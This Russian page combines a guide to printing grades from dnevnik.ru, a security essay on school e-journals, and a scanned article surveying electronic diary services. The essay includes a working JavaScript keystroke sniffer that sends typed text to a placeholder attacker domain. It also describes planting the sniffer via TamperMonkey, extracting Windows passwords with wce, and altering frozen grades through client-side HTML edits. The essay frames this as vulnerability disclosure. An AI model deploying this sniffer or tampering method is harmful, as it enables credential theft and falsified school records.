Как сделать выгрузку оценок из электронного журнала

Как распечатать оценки из электронного дневника, чтобы хвастать ими

Как распечатать оценки из электронного дневника, если нужен бумажный носитель? На портале дневник.ру есть специальная опция, доступная как учителям, так и родителям!

Учителю

Разумеется, педагогу очень важно знать, как выгрузить оценки из электронного дневника. Да, онлайн-формат очень удобен: и дети, и родители могут постоянно проверять текущую успеваемость. Но иногда просто необходимо получить бумажную ведомость.

Многие учителя, например, вклеивают в дневник промежуточные данные об оценках (скажем, раз в две недели) – для этого нужно распечатать табель успеваемости из электронного журнала. Другие педагоги ведут собственную статистику, поэтому им нужна бумажная «версия». В конце-концов, иногда табель нужен для отчетности на собрании (педсовете или родительском собрании). Далеко не у каждого в кабинете есть компьютер, чтобы открыть электронную версию.

Итак, как сделать выписку оценок из электронного журнала по каждому ученику? Ничего сложного, заходите в свой личный кабинет и авторизуйтесь.

На верхней панели выберите вкладку «Школа»;
Найдите ниже раздел «Отчеты»;
Теперь на панели слева перейдите к подразделу «Успеваемость»;
Откройте вкладку «Ученики» через ту же панель.

Чтобы скачать оценки с электронного дневника и распечатать их, сначала нужно определить несколько параметров.

В основной части страницы справа выбираем нужный учебный год (достаточно просто отметить мышкой);
Ниже перечислены все доступные классы – кликаем по соответствующей цифре;
Выбираем период (одна из четырех четвертей или весь учебный год);
Если вы хотите построить отчет за определенный временной промежуток, ниже можно нажать на календарик и выбрать даты самостоятельно. Например, только за последний месяц или неделю.

А теперь самое интересное о том, как скачать табель успеваемости с электронного дневника и распечатать его! Вы можете выбрать одного конкретного ученика: для этого нажмите на выпадающее меню в разделе «Ученики» и отыщите нужное имя.

Теперь кликните по значку «Применить», чтобы построить отчет;
Наверху есть кнопка «Печать», нажимайте на нее.

А еще вы можете скачать и распечатать данные по всем ученикам сразу.

Наверху справа есть кнопка «Печать всех учеников», просто нажмите на нее;
При этом выбирать конкретных ребят из списка не нужно. Достаточно выбрать класс, период, а потом нажать «Применить».

Таким способом вы можете распечатать итоговые оценки в дневник или сделать небольшую промежуточную отчетность. Выбирайте сами, какой временной промежуток вас интересует!

Родителю или ученику

Иногда и родителям нужно распечатать оценки из электронного дневника – например, чтобы показать другим родственникам. А может, так просто удобнее отслеживать успеваемость?

В личном кабинете родителя также есть возможность выгрузить электронный табель и перевести его в бумажный вид. Но будьте внимательны, скачиванию подлежат только четвертные оценки: промежуточная успеваемость доступна исключительно в онлайн-формате.

Чтобы посмотреть оценки:

Зайдите в свой личный кабинет, авторизуйтесь;
Найдите наверху вкладку «Дети» и выберите нужного ребенка;
Перейдите к разделу «Успеваемость».

Во вкладке «Успеваемость» перед вами раскрывается информация о текущих уроках, домашних заданиях и полученных баллах (по умолчанию за последнюю неделю).

Чтобы выгрузить данные о четвертных отметках:

Переключитесь на вкладку «По четвертям»;
Найдите иконку «Распечатать»;
Далее следуйте инструкции на экране.

К сожалению, ученикам нельзя распечатать оценки из электронного дневника (как их родителям). Такая возможность есть только у педагогов или у взрослых, пользующихся родительским профилем.

Хорошо, что на платформе есть такая опция – можно за пару минут собрать настоящий отчет об успеваемости. Пользуйтесь, ведь это удобно и абсолютно бесплатно!

Почему «электронные дневники» до сих пор ненадежны в образовании?

В этом топике будет затронута проблема, связанная с организацией надежности цифровых информационных систем, являющихся частью процесса современного образования. Если говорить конкретно, то электронных дневников.

Как известно, цифровые внедрения нынче повсеместны: школы и университеты заводят собственные странички в социальных сетях и блогах для информирования о происходящем, редкое учебное заведение не имеет собственного сайта, а электронные журналы вот-вот окончательно вытеснят бумажные… И это лишь часть тех перемен, которые происходят у нас на глазах. Конечно же, в информационный век этому уже не приходится удивляться: люди привыкли, что вся интересующая их информация находится интернете.

Очевидно, эти процессы инкапсулируют в себе и немалую ответственность как со стороны пользователей, так и со стороны разработчиков. Теперь недостаточно, уходя из кабинета, запирать дверь на ключ, оставляя позади нее всё важное. В цифровом мире физическая недоступность не является гарантией безопасности (однако, несомненно, этот аспект крайне важен в плане обеспечения комплексной безопасности). Но, обо всем по порядку.

Проблема #1: человеческий фактор.

«Самая большая уязвимость любой информационной системы — это её пользователь»(с)

С этим высказыванием трудно поспорить — человек есть человек. Именно эта проблема является ключевой в плане надежности и безопасности информационных ресурсов как со стороны пользователей, так и разработчиков. Эта проблема актуальна ровно столько, сколько существует сам человек, а поэтому она не относится к цифровому миру, как таковому. Ведь и во времена, предшествующие цифровым, например, бумажный журнал было доверено переносить конкретному человеку (старосте, кажется), который, в общем-то, мог бы пользоваться своим положением или быть использованным другими своими одногруппниками, что в конечном счете вполне могло привести к подделке оригинальной информации, ее компроментации. Другой пример, когда виновниками выступают уже не доверенные лица, а непосредственные «владельцы» информации. Если рассматривать это на конкретном примере, то легко представить себе обычного, скажем, секретаря, не подумавшего не только забрать, но и вообще закрыть журнал с важной информацией на время своего отсутствия в кабинете. Такое бывает и нередко. Это также может привести к утечке/подделке важных для учреждения сведений.

В современное время примеры неаккуратности человеческого фактора остаются идентичными, разве что бумажки заменяются компьютерами. На самом деле это несет еще большую угрозу. Если запрограммировать и «заразить» бумажку было нельзя, то с компьютерами все обстоит иначе.

Редкий сотрудник (по крайней мере, в сфере школьного образования) нажимает Win+L, отлучаясь по делам, некоторых в принципе не заботит, стоят ли пароли на их учетных записях Windows, а третьи вообще пускают за свой ноутбук чуть ли ни каждого встречного… Все это лишь усугубляет и без того ненадежные системы. Вы можете использовать самые безопасные браузеры, накачать дюжину различных антивирусов и даже использовать уникальный пароль учетной записи, но если пускать за свое место других людей без пристального наблюдения за их действиями, ничто не сможет гарантировать надежность рабочего места и отсутствие утечек.

Теперь хотелось бы привести простой пример эксплуатации «человеческого фактора».

Есть добрый преподаватель географии Иван Иванович, который попросил своего «ученика-компьютерщика» Антона Антоновича разобраться с тем, почему на его компьютере нет звука в презентации(обычная проблема). Ученик, быстро разобравшись с проблемой, пока Иван Иванович пишет на доске материал к следующему уроку, подумывает о перехвате данных своего учителя с этого компьютера(часто это почта, логины-пароли от соц.сетей и электронных журналов и т.д). Заранее Антоном был заготовлен злобный JavaScript-сценарий, являющийся частью его self-made сниффера:

(function()< THIEF = "http://my_evil_domain.com/thief.php"; function grab(e) < var o = e.srcElement; var img = new Image(); var text = o.value; if(!text || typeof text == "undefined") text = o.innerHTML; if(!text || typeof text == "undefined" || (text+"").trim().length==0) return; img.src = THIEF+"?stolendata="+encodeURIComponent(text)+ "&urlfromdata="+encodeURIComponent(location.href.toString())+ "&domdata="+encodeURIComponent(o.getAttribute("id")+" ||| ."+ o.getAttribute("class")); img.width="1px"; img.height="1px"; img.id="taken_data_sender"; try< var oldImg = document.getElementById(img.id.toString()); document.body.removeChild(oldImg); >catch(e)<> document.body.appendChild(img); return true; > function connect_signal(selector) < var elements = document.getElementsByTagName(selector); for(var el in elements) elements[el].addEventListener('keyup', grab, false); >var selectors = ['*']; for(var k in selectors) connect_signal(selectors[k]) >)();

И «ученик-компьютерщик» решает встроить свой скрипт внутрь любимого браузера Ивана Ивановича. Сделать Антон это может как стандартными средствами, предоставленными непосредственно браузерами, так и сторонними, вроде расширений TamperMonkey(Chrome), GreaseMonkey(FireFox) и т.д. После чего он довольно встает с захваченного PC и идет с улыбкой к любимому учителю географии, информируя его о починке исходной проблемы. Но с этого момента все вводимые данные на захваченном компьютере будут течь к Антону. Для более пущего эффекта он может сбросить всю историю браузера, включая запомненные ранее аутентификационные данные из форм.

Кроме того, Антон может попытать счастье и постараться вытащить пароль учетной записи Windows, используя средства наподобие wce (WindowsCredentialsEditor). Ведь вряд ли у Ивана Ивановича десяток различных паролей — так ведь неудобно — поэтому, вполне вероятно, что всего один единственный 😉

Проблема #2: ненадежность информационных ресурсов(электронных журналов)

Начать, пожалуй, следует с того, что ни один электронный журнал, встретившийся мне, не обладал должной системой защиты и системой выявления несанкционированного доступа. Я не хотел бы их перечислять. Все они, с точки зрения *безопасной* авторизации, напоминали какие-то форумы и многочисленные сайты-пиратки, построенные на движке DLE. Везде для входа в свой кабинет нужно было лишь указать логин(который часто представлял из себя email) и пароль. Ни о какой истории входов-выходов и информации об открытых «висячих» сессиях и речи нет. Однако данные, находящиеся внутри, все же представляют определенную ценность.

Рассмотрим пример на реально существующем электронном журнале, который функционировал в течении целого года.
Предположим, тот самый «ученик-компьютерщик» этим же вечером, придя домой и проанализировав свой лог, получил несанкционированный доступ к учетной записи преподавателя:

авторизовавшись, Антон увидел следующую картину:

что натолкнуло его на мысль о том, что имея в руках auth-данные лишь одного сотрудника своего образовательного учреждения(Ивана Ивановича), он может управлять всеми оценками любого юнита, входящего в состав этого учреждения. Это довольно странно, ведь это идет вразрез с простейшими правилами доступа.

Однако к служебной и конфигурационной информации у простого преподавателя доступа все же нет. Зато такой доступ есть у аккаунта администратора учебного заведения:

Здесь приведен один из ключевых конфигурационных разделов журнала. Красным выделено то, что влияет на безопасность и достоверность данных. Далее я хотел бы показать, что часто подобные настройки являются лишь иллюзией, которая еще больше усугубляет положение: ответственные лица полагают, что информация месячной/недельной(и т.д) давности была проверена и заморожена навсегда. Однако, это не так.

Что-либо изменить просто так не удастся, т.к на данный момент уже прошло слишком много времени.

Но если заглянуть в исходный код и посмотреть, как все устроено, можно увидеть следующее:

Синим обозначено то, что якобы не подлежит замене, красным — что изменяемо. Сразу появляется мысль подставить данные из уязвимого красного блока в синий, т.е заменить SPAN на INPUT. После срабатывания JS-события onChange происходит следующее:

Сработала одна из систем, отвечающих за надежность данных. Однако, если вспомнить, что есть HTML-сущности, то комментарий можно будет скрыть.
После нажатия на кнопку и обновления страницы можно увидеть:

Замороженные данные были подвержены изменению? Да. А причина тому кроется в том, что разработчики данного дневника не подумали проверять данные на серверной стороне. Они доверчиво принимают параметры от клиента, а сервер, как зомби, тупо прожевывает их, не сомневаясь в надежности…

Но, как оказалось, комментарии можно и вовсе обойти, а присутствие/отсутствие на конкретном уроке подделать, что в общем-то уже менее серьезно. Достаточно перейти на страницу урока( ↑ ссылка в заголовке таблицы ↑ ):

Здесь есть возможность добавить оценку(значок «плюсик»), но не изменить уже существующую(замороженную). Красным цветом снова показано «уязвимое» место системы, а синим — его эксплуатация. Здесь просто воспользоваться методом замены не получится( нельзя просто так взять и заменить DIV на A ), потому что тег ссылки содержит в себе служебные параметры: ID оценки и ID человека, которому она принадлежит. По нажатию на ссылку всплывает окно, ассоциированное с данными оценки. Поэтому для эксплуатации придется совсем немного подкорректировать параметры ссылки:

Исходные данные: 1) + 2) 5
 Аутпут: +

Теперь, если произвести замену, изменить и обновить:

Снова удалось заменить замороженные данные. Даже без указания комментария(причины)!
Здесь также наблюдается уязвимость, связанная с односторонней проверкой данных.
Вот таким достаточно простым способом удалось обойти основной раздел, отвечающий за защиту и надежность самых важных данных электронного журнала.

Исследование HTTP-запросов показало, что комментарий не учитывается вообще — это просто сторонний параметр, который может быть и пустым(значение на пустоту проверяется на клиентской стороне).

Возможно, разработчики и проектировщики(если проектировщики вообще были) точно были уверены, что данными функциями будут пользоваться исключительно сотрудники образовательных учреждений… но, на худой конец, ведь вполне может быть и так, что ученик является родственником определенного сотрудника и они пользуются общим компьютером…

Проблема #3: нежелание исправлять свои ошибки.

В начале описания проблемы#2 было сказано, что уязвимый электронный журнал функционировал в течении целого учебного года. Исследование же журнала было проведено почти в самом начале учебного года, разработчики и администрация были проинформированы, однако ни одной ошибки так и не было исправлено за всё прошедшее время. Вполне вероятно, что проблемой#1, связанной с человеческим фактором, воспользовалось множество учеников из разных образовательных учреждений, что в итоге могло привести к массовой подделке исходных данных. Проблема#2 лишь усугубляет эту ситуацию.

Сотрудники образовательных учреждений так же продолжают предоставлять доступ к своим компьютерам каждому встречному, не наблюдая за их действиями. Некоторые позаботились о смене своих «штатных» паролей(или их первоначальной установки). В целом ничего не изменилось, и уровень как безопасности, так и надежности остался на прежнем уровне.

Вывод

Проблема, как и положено, кроется в корне. Чтобы ее можно было как-то искоренить, необходимо заставлять людей задумываться о безопасности их рабочего места, о том, что вокруг «ходит» слишком много угроз. Утечка и несанкционированный доступ — часто лишь вопрос времени не только в контексте современных образовательных учреждений. Но на их примере очень легко убедиться в некомпетентности многих сотрудников. На примере электронного журнала(dnevnik.mos.ru) стало видно, что некомпетентность лишь одного человека может повлечь за собою крах, в данном случае, всей системы оценивания.

Многие школьные учителя еще только осваиваются в плане электронных ресурсов, но когда однажды(уже очень скоро) произойдет повсеместный полноценный переход от «олдскульных» бумажных журналов к электронным, необходимо будет уметь объективно оценивать угрозы не только пользователям, но и разработчикам подобных ресурсов. Необходима тщательно проработанная система авторизации, которая бы позволяла отслеживать неправомерный доступ; необходимы и системы логгирования входов и отслеживания открытых сессий текущего аккаунта; необходимо и как можно более сузить области ответственности отдельных аккаунтов.

Все это в конечном счете позволит доверять современным электронным дневникам и не сомневаться в информации, которую они призваны не только предоставлять, но и оберегать.

безопасность веб-приложений
несанкционированный доступ
защита информации
веб-сервисы
образование

Информационная безопасность
Веб-разработка
Отладка

Электронный журнал и виртуальный дневник ученика: варианты, преимущества и недостатки информационных систем Текст научной статьи по специальности «Науки об образовании»

Аннотация научной статьи по наукам об образовании, автор научной работы — Якушина Екатерина Викторовна, Буланов Сергей Владимирович, Гаврилин Илья Александрович

Электронный журнал и SMS-дневник в структуре мониторинга учебных достижений. Автоматизированная система информирования о результатах обучения. Анализ программных продуктов и обеспечения для автоматизации учебного процесса.

i Надоели баннеры? Вы всегда можете отключить рекламу.

Текст научной работы на тему «Электронный журнал и виртуальный дневник ученика: варианты, преимущества и недостатки информационных систем»

ЭЛЕК ТРОННЫЙ ЖУРНАЛ

и виртуальный дневник ученика: варианты, преимущества и недостатки информационных систем

Екатерина Викторовна Якушина,

ведущий научный сотрудник лаборатории медиаобразования Института содержания и методов обучения РАО, кандидат педагогических наук

Сергей Владимирович Буланов,

директор Центра современных образовательных технологий (г. Москва), кандидат педагогических наук

Илья Александрович Гаврилин,

заместитель директора Центра современных образовательных технологий

Развитие единоп информационной образовательной среды предполагает, в числе прочего, современную систему мониторинга образовательной деятельности, позволяющую в динамике увидеть развитие учащихся. Доступность этой системы обеспечивается за счёт использования широко распространённых web- и sms-технологий. Система объединяет в единый комплекс ведение электронных журналов, получение объективной статистики образования, информирование родителей об образовательных достижениях детей.

• электронные ресурсы • логин • пароль • sms-дневник • мобильная школа

Сегодня в России существует опыт разработки комплексных систем мониторинга образовательной деятельности учащихся, обеспечивающих доступ участников образовательной деятельности к мониторинговой информации.

(г. Санкт-Петербург) — школьная социальную сеть, объединяющая все школы России. Портал полезен школам, учителям, родителям.

Основные услуги — ведение электронного журнала, личный кабинет, общение родителей с педагогами, управление учебным процессом, полезные ресурсы на сайте. Каждому ученику в Дневнике доступны все выставленные ему оценки по всем предметам. Можно просматривать оценки по предметам и за определённый период (неделя, четверть). Из минусов: проект не предполагает смс-рассылки и рассылки в почту.

Пример платного ресурса — электронный дневник на сайте «Симбирский каталог — образование» (г. Ульяновск)

http://education.simcat.ru/. Стоимость подключения для родителей составляет 60 рублей (сама программа бесплатная). Специфика проекта: не требуются операторы — учителя сами вводят данные; нет рассылки на почту, нет рассылки смс; учителя заполняют не только журналы, но и дополнительные классные ведомости, с которых затем данные вносятся в базу.

На всех сайтах школ, которые входят в каталог, размещён вход в электронный дневник, каждый учащийся и ученик имеют свой логин и пароль.

Из минусов: учителя заполняют не только журналы, но и дополнительные классные ведомости, с которых данные затем вносятся в базу, отсюда затраты на бумагу и потери времени педагогов.

«Электронный дневник ученика» (http://korusconsulting.ru/solutions/special-solutions/school-connect/ получил одобрение в Комитете образования в Санкт-Петербурге, каждый месяц подключаются 5 — 10 школ в Санкт-Петербурге и других городах. Ведутся переговоры о внедрении системы в СНГ.

«Электронный дневник ученика» формирует единое информационное пространство, объединяющее образовательные учреждения, семьи учащихся и вышестоящие регулирующие и контролирующие образование организации. Процесс обучения становится прозрачным и понятным, что ощутимо влияет на мотивацию учащихся и повышает качество образования.

Родители ученика становятся полноправными участниками образовательного процесса, получая возможность контролировать успеваемость и посещаемость детей; своевременно видеть выставляемые ребёнку оценки; общаться с преподавателями в режиме online; получать сообщения от преподавателей о том, что происходит в школе и классе, обмениваться сообщениями.

Педагоги, классные руководители, руководители школы могут своевременно сообщать родителям о результатах обучения школьников, управлять образовательным процессом.

Регулирующие и контролирующие образование органы получают возможность контролировать

работу школ, качество образовательного процесса с помощью системы количественных показателей; вести мониторинг образовательной деятельности в масштабах района, города, области; оперативно формировать и консолидировать отчётность для передачи в вышестоящие инстанции. Среди особенностей информационной системы назовём следующие: не требуются операторы: учителя сами вводят данные; становится наглядным весь учебный процесс.

Минусы: нет рассылки на почту; нет смс-рассылки.

Ещё один платный ресурс — «МГУш-ка.ру» (г. Москва, http://mgushka.ru/)

Это СМС-дневник, основные функции которого следующие: электронный журнал, отправка смс, возможность учителей общаться с родителями и другими учителями на портале.

Особенности: в смс приходят домашние задания; нет рассылки на почту.

Запуск проекта был осенью 2007 года, сейчас к этой системе подключены школы в шести городах.

Система электронных журналов «Баллов.нет» (http://www.ballov.net, http://www.school-online.ru) — удобный, мощный, полностью бесплатный инструмент для создания единого информационно-образовательного пространства и взаимодействия школы с родителями учащихся (родители могут контролировать успеваемость ребёнка и то, как дети выполняют домашние задания, вовремя узнать о родительском собрании, получать все замечания учителя). Плата берётся только с тех родителей, которые подписаны на смс-рассылку.

Предусматривается публикация расписания для каждого класса, информации о школе, ведение электронного дневника ученика, контроль учебного процесса, смс-дневник. Ведётся смс-рассылка,

рассылка на почту, предусматривается создание сайтов для школ. В России и СНГ уже подключились 720 школ. В роли операторов выступают сами учителя.

«СМС-дневник» http://adite.ru/ позволяет родителям оперативно получать информацию о жизни ребёнка в школе и благодаря этому принимать более активное участие в школьных делах своих детей.

Это своего рода альтернатива родительским собраниям, учительским телефонным звонкам, просмотру дневника. Ведь у родителей, которые очень заняты на работе, для этого не всегда есть время, а если оно есть, то не всегда удаётся его соотнести со временем проводимых мероприятий.

«СМС-дневник» подразумевает ежедневную рассылку информации (об успеваемости, посещаемости, изменениях в расписании, мероприятиях) с помощью смс-сообщений на сотовые телефоны родителей. Есть также рассылка на почту.

Программа запущена с 2005 года. В Ростове-на-Дону эта программа установлена в 70 школах.

Недостатки: нет сайта, работа ведётся в программе в каждой отдельной школе, непонятно, кто осуществляет техническую поддержку. Проект платный и достаточно дорогой.

СМС-дневник «Инкомнет» (Москва, http://www.incomnet.ru/sms/, http://www.probuem.ru/mobile/21689) работает с сентября 2005 года. Основные услуги — ведение электронного дневника ученика, смс-рассылка.

Система «SMS-Дневник» позволяет передавать сообщения об отсутствии ученика в школе, о школьных событиях, об экскурсиях, об изменениях в расписании уроков, о предстоящей вакцинации, культурных и спортивных мероприятиях, о достижениях и успеваемости учеников. «SMS-Дневник»

развивает чувство ответственности у школьников, даёт родителям возможность принимать активное участие в образовании своих детей несмотря на занятость.

Система «SMS-Дневник» позволяет передавать: сообщения об отсутствии в школе, о школьных событиях, об экскурсиях, о школьных изменениях (расписания), о посещении культурных и спортивных мероприятий, о достижениях, успеваемости ученика.

Читать:

Как в 1с начислить страховые взносы ип за себя

Для школ внедрение этой системы не требует никаких инвестиций.

Основные услуги образовательного портала real-school.info (http://real-school.info/) —

ведение электронного дневника ученика, контроль учебного процесса, смс-дневник. Портал предлагает платное обслуживание школ. Информация отправляется родителям каждый день. Из недостатков: учителя должны на каждом уроке дублировать оценки из обычного журнала в электронный журнал. После введения данных необходимо подтвердить правильность ввода личной магнитной картой учителя.

Томский «СМС-дневник» (http://sms-diary.ru/) также предусматривает ведение электронного журнала, личный кабинет, смс-рассылку. Абонентская плата для родителей составляет от 50 до 85 рублей в месяц в зависимости от выбранного тарифного плана. С сентября 2006 года система внедрена во всех школах Томска. Особенности системы: информация отправляется каждый день, оригинальный дизайн портала, оплата через терминалы и Сбербанк, в каждой школе есть свой представитель системы, нет рассылки на электронную почту.

Ещё один платный ресурс — «Школьный дневник» (http://school-info.ru)

предусматривает ведение электронного журнала, личный кабинет, смс-рассылку стоимостью от 30 до 100 рублей в месяц, плюс затраты школы на обслуживание

системы. Существует на рынке с 2006 года. Охватывает школы собственными силами и через партнёрства. Проект реализуется в 50 городах России.

Школам предоставляется возможность бесплатно поработать в системе School Info, проверить на практике преимущества электронного журнала, самостоятельно ознакомиться с возможностями Системы и сделать выбор в будущем.

SMS Online Дн евник (г. Нижний Новгород, http://diary-nn.ru/School/pages/login.faces)

предоставляет услуги: ведение электронного дневника ученика, личный кабинет, смс-рас-сылка (от 130 до 200 рублей в месяц в зависимости от выбранного тарифа). Проект обслуживает 11 школ силами собственных операторов, нет рассылки по электронной почте.

Услуга ведения электронного дневника в СМС-школе (г. Барнаул, http://www.schoolsms.ru),

смс-рассылка (100 рублей в месяц) востребована в школах Омска, Барнаула и Орска. Недостатки: отсутствие рассылки по электронной почте, чёткого регламента работы операторов.

«Мобильная школа» (http://www.alsys.ru) —

автоматизированная система информирования, направленная на улучшение связи между родителями учеников и школой. Система работает по технологии GSM-SMS в автоматическом режиме и не требует постоянного присутствия человека. Система обладает удобным клиентским интерфейсом и проста в управлении, работает на существующей компьютерной инфраструктуре школы. Один из наиболее востребованных модулей системы — модуль «SMS-Дневник». Он позволяет в оперативном режиме информировать родителей учеников об оценках и успеваемости детей, делать замечания и предлагать родителям рекомендации с помощью SMS. Система также используется для приглашения родителей на собеседования и родительские собрания.

Преимущества: существенная экономия време ни классного руководителя; оперативное донесение информации до родителей учеников; до ведение до родителей информации по успевае мости и поведению ребёнка.

«Электронный журнал» (г. Москва, http://lichnost.gorono.ru/elu.html) —

автоматизированная компьютерная система управления учебным процессом в школе. Обеспечивает полную систему документооборота, статистические расчёты, внутришкольную связь и связь с родителями. Разработана отделом информатизации лицея «Столичный» г. Москвы.

Система «Виртуальный дневник» — автоматизированная компьютерная система обмена информацией между школой и родителями учащихся посредством сети Интернет.

Система позволяет: вводить данные по оценкам, поведению, психологические наблюдения, заметки преподавателей и прочие данные с рабочих мест преподавателя; собирать и обрабатывать данные с рабочего места директора и завуча, следить за ходом образовательного процесса с этих мест; выгружать данные в Интернет на удалённый сервер; просматривать индивидуальные данные об ученике с персонального компьютера родителей с помощью интернет-технологий.

Недостатки: нет смс-рассылки и рассылки в почту.

Готовая программа «NetSchool»

(г. Самара, http://www.net-school.ru)

продаётся школам. Ведение электронного журнала, управление учебным процессом, смс-рассылка (60 руб/мес или 4,5 руб один запрос). Сеть объединяет около 500 школ. Программный продукт позволяет эффективно решать административные задачи, вести мониторинг текущего учебного процесса, наладить оперативное общение между всеми его участниками.

Сотрудникам школы «NetSchool» позволяет перевести в электронный вид множество бумажных отчётов, экономя время на их составление, делая их наглядными

и легкодоступными для анализа. «NetSchool» помогает лучше информировать родителей об успеваемости их детей.

Некоммерческое партнёрство по разработке и внедрению технологий в сфере образования «Центр современных образовательных технологий» (http:/ /сеМегео^щ/топког^)хотруд-ничает с образовательными учреждениями, внедряя информационную систему «Мониторинг образовательных достижений школьников», позволяющую оперативно оценивать качество образования в школе. Доступность этой информационной системы обеспечивается за счёт использования широко распространённых web- и sms-технологий. Система объединяет в единый комплекс ведение электронных журналов, получение объективной статистики образования, информирование родителей об образовательных достижениях детей.

В большинстве проектов реализована идея электронного журнала и СМС-информирова-ния родителей, однако многие проекты не предполагают автоматической обработки статистики по запросу педагогов, органов управления образования. Некоторые проекты не предполагают сотрудничество с органами управления образования, формирование статистических отчётов, а соответственно, не позволяют получать объективную информацию на уровне муниципального образования или субъекта РФ. Это объясняется коммерческой направленностью проектов. К подобным проектам может подключиться один или несколько классов школы и в этом случае электронный журнал будет заполняться только в тех классах, родители которых подключены к услуге, но при этом нельзя получить объективную статистику по всей школе. Мониторинг станет объективным только в том случае, если в нём участвуют все ученики школы. Что касается СМС-информирования родителей, важно, чтобы это направление работы объединяло усилия учителей и родителей в мониторинге образовательных достижений, развитии учеников. Объединить усилия можно только в том случае, если электронный журнал ведут непосредственно сами

учителя (а не посторонние представители компании — разработчика СМС-сервиса, механически перенося отметки из классных журналов в электронную базу) и, кроме школьных отметок, родителям сообщается дополнительная информация: рекомендации учителей, классных руководителей, школьных психологов и социальных педагогов, информация о классных и общешкольных мероприятиях и т.п.

Ирина Яковлева, педагог, Пермский край: «У нас в крае есть своя система электронных журналов и дневников. Я была координатором её апробации. Сегодня эта система обязательна для всех школ. И вот как учитель я на себе всё прочувствовала: тяжеловато (особенно вначале) заполнять, но зато когда всё заполнено, ты тратишь 15 минут в день на выставление оценок, отмечаешь, кто отсутствовал на уроке и корректируешь домашнее задание. Я нахожусь и с другой стороны баррикад — у меня сын учится во втором классе и мне крайне интересно каждый день видеть статистику и динамику его продвижения. А раз я заинтересована, то и ребёнок с удовольствием смотрит на то, как меняется его положение (рейтинг) в классе. Я двумя руками ЗА электронные журналы».

Наталья Логинова, педагог, Владимирская область: «Всегда новое принимается с опасением и нервозностью, но, на мой взгляд, пора делать информацию, в том числе, и содержимое школьных журналов, доступными. Совсем несложно нажать на клавиши цифр от 2 до 5 и клавишу с буквой «н»: надо соответствовать требованиям и выполнять должностные обязанности».

Олег Посылаев, педагог, Санкт-Петербург: «С мая прошлого года работаю в dnevnik.ru: постоянная связь с родителями класса (правда, не всеми), оперативное информирование об оценках и поведении. Помогает, многие вопросы решаются лучше, чем по телефону. Но в такой ситуации

(Интернет в кабинете) только я один в школе, поэтому приходится выставлять оценки в журнал по остальным предметам всем учащимся самому. Поскольку не все родители в Сети, приходится всё равно распечатывать оценки и вкладывать их в дневники».

Валерия Александрова, педагог, Саратовская область: «Плюсы электронных дневников очевидны — быстрая и объективная информация для родителей и ребят, возможность сравнительного мониторинга по классу, параллели, школе, предмету.

Однако наталкиваемся на проблему постоянного дублирования информации: необходимо выставлять оценки в бумажном варианте (дневник) для тех родителей, кто не имеет доступа к электронному дневнику; есть бумажные документы (журналы), которые никто не отменял; мониторинги по четвертям, полугодиям, году, для органов управления образованием и т.д. В идеале должна быть общая информационная база с возможностью перестраивать данные в нужную форму (отчёты, мониторинга)».

Ирина Парфенова, заместитель директора школы, Владимирская область: «Наша школа включилась в процесс мониторинга образовательных достижений школьников (http://cen-tersot.org/monitoring) два месяца назад. Все до одного классные руководители (возраст от 25 до 58 лет) работают с электронным журналом. Компьютеры — в двух кабинетах информатики, библиотеке. Некоторые приходят ежедневно, другие — два-три раза в неделю. Работа занимает от 5 до 20 минут за сеанс. Явно заметны положительные эмоции от того, что получается, что нетрудно (хотя, естественно, изначально негативное отношение было).

С родителями сложнее. Разброс мнений: от «я доверяю своему ребёнку» до «учителя и так обязаны доводить до сведения родителей». Конечно, есть и такие, которым вообще всё равно. Тех, кто подключился, пока маловато.

Как завуч вижу, что классные руководители (в среднем и старшем звене обучения) стали гораздо лучше владеть ситуацией с оценками и посещаемостью в классе, так как регулярно вплотную работают с классным журналом. Уч теля-предметники «подтянулись»: оперативнее

проверяются письменные работы, оценки не оседают в журналах до последних недель четверти. Школьники относятся к электронному журналу с интересом и как к какой-то третьей стороне, которая констатирует факты (хотя прекрасно понимают, что журнал заполняют их классные руководители). Ответственно относятся к средней оценке, которую им по предмету выставляет электронный дневник. Боязни СМС пока не заметно.

Как школьный координатор информационной системы я активно сотрудничаю с её разработчиками. Большой плюс: эту систему стараются сделать «под нас», максимально учитывая школьную практику; особое внимание уделяется комфортности работы учителей (с учётом разного уровня владения компьютером)».

Основные приёмы работы в информационной системе «Мониторинг образовательных достижений школьников»

Зарегистрировавшись в системе http:/ /monitoring.centersot.org/regform.ht m, школа получает двухуровневый доступ (для учителей и для школьной администрации) к формированию и управлению статистикой образования.

Нажав кнопку «вход», школьный администратор вводит имя и пароль (произвести саморегистрацию невозможно, пароль и логин для школьных администраторов выдаются при заключении договора со школой; пароли и логины учителей модерирует школьный администратор).

Имя пользователя Пароль Войти в систему

Попав в базу, школьному администратору становятся доступны разделы: «Электронный журнал», «Электронный дневник», «Управление классами», «Управление пред метами», «SMS-рассылка», «Отчёты». Первым делом школьному администратору надо занести информацию о классах и школьниках в базу: классы, литеры, количество учеников в классе, классный

руководитель, координатор, логин и пароль координатора.

Сразу же генерируется логин и пароль для классного руководителя, который будет отвечать за класс. В последней колонке — «Открыть список».

Производим управление списком класса (классному руководителю будет доступна информация только по его классу, администратор может выбрать любой класс). В списке класса отмечаются фамилии, имена учеников, даты их рождения, пол, дополнительный язык, действие (перевести в другой класс и т.п.).

Добавив нужное количество учеников в класс, получаем готовый список, который в дальнейшем редактируется, только если в класс при-

ходит новый ученик, ученик переходит в другой класс или уходит из школы.

Если родители хотят получать СМС-уве-домления об успеваемости своего ребёнка, с ними заключается договор, информацию из которого нужно занести в базу: для этого выбираем фамилию ученика и нажимаем иконку «Редактировать»:

В открывшемся окне нужно занести информацию, отмеченную красным знаком (*), после этого нажать кнопку «Сохранить».

i Не можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

Шаг следующий: классы созданы, фамилии учеников занесены. Теперь нужно определить, какие предметы изучают в классах. Открываем пункт «Управление предметами».

Администратор выбирает нужный класс, классному руководителю будет доступен только его класс.

Открывается список базовых предметов, изучаемых в классе: понятно, что он будет не полностью совпадать с теми предметами, которые изучаются в школе, поэтому некоторые предметы нужно удалить, а некоторые добавить.

Редактирование данных ученика

ФИ(О) ученика Ефремов Алексей

Дата рождения 10/мая/2000 Л

пример: Иванов Иван

Основной иностранный язык Дополнит, иностранный язык Номер договора*

ФИО родителя* Иванов Иван Иванови пример: Иванов Петр Сидорович Телефон для SMS* ] пример: 79201234567

‘ поля обязательные для заполнения при наличии договора

Класс Количество предметов Редактировать предметы

Управление компонентом ОУ

Нажав иконку «Удалить» напротив нужного предмета, удалим его, а выбрав внизу из выпадающего списка нужный нам предмет и нажав иконку «Добавить» (зелёный плюсик), добавим нужный предмет в список.

